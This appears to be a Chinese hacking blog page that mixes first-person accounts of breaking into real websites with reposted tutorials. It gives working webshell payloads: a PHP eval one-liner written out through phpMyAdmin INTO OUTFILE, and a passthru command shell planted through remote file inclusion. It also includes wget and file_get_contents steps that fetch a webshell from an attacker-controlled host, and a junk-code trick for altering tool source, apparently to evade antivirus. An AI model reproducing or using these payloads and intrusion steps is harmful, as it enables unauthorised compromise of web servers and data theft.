仔细看了下,虽然aspx那个webshell没有解释成功,但是,但是,下面却爆出了物理路径,嘿嘿,绕了一圈,还是回到通过物理路径来得到webshell了。既然是sa权限,那就简单多了,先习惯性的用nbsi来恢复下cmdshell,然后echo个test.txt进upfile目录,来测试下,物理路径是不是正确的,upfile/test.txt访问正常,看来是正确的了。接着写个小马.asp进去,可是照样返回404,看来那个目录是不能执行asp文件了,接着写小马到web的跟目录,还是404,日了,看来有点棘手,用nbsi来上传个aspx的shell到跟目录,成功执行了,乐呵呵的收工。明天再进去看他的服务器到底是怎么设置的。
两天时间,能做什么?
无聊的时间,闲着在看一个站点,php的,不知道用的什么程序,发现了一个注入点,添加'后直接爆出了物理路径
看来是有戏了,看了下common.inc文件,得到了dbuser,dbname和dbpass,连接3306失败,看来不允许外连。没办法,想了想,按照老思路来用casi来跑原代码,跑了一天,一个文件跑完了,看了看,貌似没有看出来远程包含漏洞。又跑了另一个文件的原代码,跑了一半就放弃了,朋友喊着出去喝酒。。一天就这么过去了。
第二天,接着搞,想了又想,在url后面输入phpmyadmin碰下运气,不错,真tmd点幸,有这个文件目录,但是没有返回那个要求输入dbname和dbpass的框,直接返回:对不起,你无权进入此页!
有点晕,看来phpmyadmin不允许外部管理?baidu了很多文章,又看了半天,看的头更晕了。不管了,回来在phpmyadmin后面输入phpinfo.php,结果这下弹出来框,输入了dbname和dbpass后终于顺利的看到了phpinfo.php的内容,接着试验,把phpinfo.php换成main.php,哈,进来了,然后接着baidu,找了下phpmyadmin后台怎么得到webshell,文章不少,照着文章内容,终于得到了一个webshell。
日,两天能做什么,我就能做这么多。。。随想了下,其实那个站如果思路正确的话,不出10分钟就可以得到一个webshell,那个服务器用的ftp还是serv-u 4.0版本的,可能动作快的话,2分钟就可以得到administrator的密码。
思路真的很重要。第一次搞apache+php+win32的服务器,就这么结束了,笨笨傻傻的结束了。
phpMyAdmin 后台拿webshell
[转贴的]
1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
邪恶的空格-PHP本地文件包含漏洞的新突破口!
关于php包含Apache日志的随想
PHP程序包含文件漏洞的详解
[找不到原著作者信息,声明下,是转载的。]
首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。
一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕
include() && require()语句:包括并运行指定文件。
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考:http://www.phpe.net/manual/function.include.php
require_once() && include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
详细参考:http://www.phpe.net/manual/function.require-once.php
二、为什么要包含文件
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
很正常的一段PHP代码,它是怎么运作的呢?这里面涉及到$_GET的意义,我就不打算讲了(要不又能写篇HTTP的文章了),如果你还不了解GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
上面这段代码的使用格式可能是这样的:http://www.1steam.cn/php/index.php?page=main.php或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码,简单说下怎么运作的:
1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若$_GET[page]空的话就执行else,来include home.php 这个文件。
三、为什么会产生漏洞
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3
注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
四、怎么利用
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:
1.包含读出目标机上其它文件
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。
2.包含可运行的PHP木马
如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "
1.S.T
"; //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "
1.S.T
"; //打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:
Quote:
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget 下载指定URL的文件
等等其它的,你主机去BAIDU找吧,就不列举了。
上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)
3.包含一个创建文件的PHP文件
也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:
1)使用wget之类的命令来下载一个Webshell
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output-document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。
2)使用文件来创建
前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("http://www.1ster.cn/1stphp.txt"); //打开指定路径的文件流
$ff=fopen("./upload/1st.php","a"); //寻找一个可以的目录,创建一个文件
fwrite ($ff,$f); //把前面打开的文件流写到创建的文件里
fclose($ff); //关闭保存文件
?>
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。
CMD下建立VPN
征途,最烧钱的游戏
20万rmb出来的效果,可能那个人还有点谦虚在他所花的钱数上。
遗憾的是我竟然去年在这个游戏上浪费了一年的时间,后悔的肠子都绿了,所幸的是没有投资。。。。
被小菜们忽略的SQL注入技巧
.cpp文件小修改方法
在main参数后面添加for( int lvhuana=0;lvhuana<=100;lvhuana++){ lvhuana+3; }这个垃圾数据。
比如:
VOID main(int argc, char* argv[])
{
char **p;
char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
int iConnectPort=0, iTransmitPort=0;
char *logfile=NULL;
修改成:
VOID main(int argc, char* argv[])
{for( int lvhuana=0;lvhuana<=100;lvhuana++){ lvhuana+3; }
char **p;
char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
int iConnectPort=0, iTransmitPort=0;
char *logfile=NULL;
可以达到你想要的某些结果。
DB_ONER权限日志备分专用一句话木马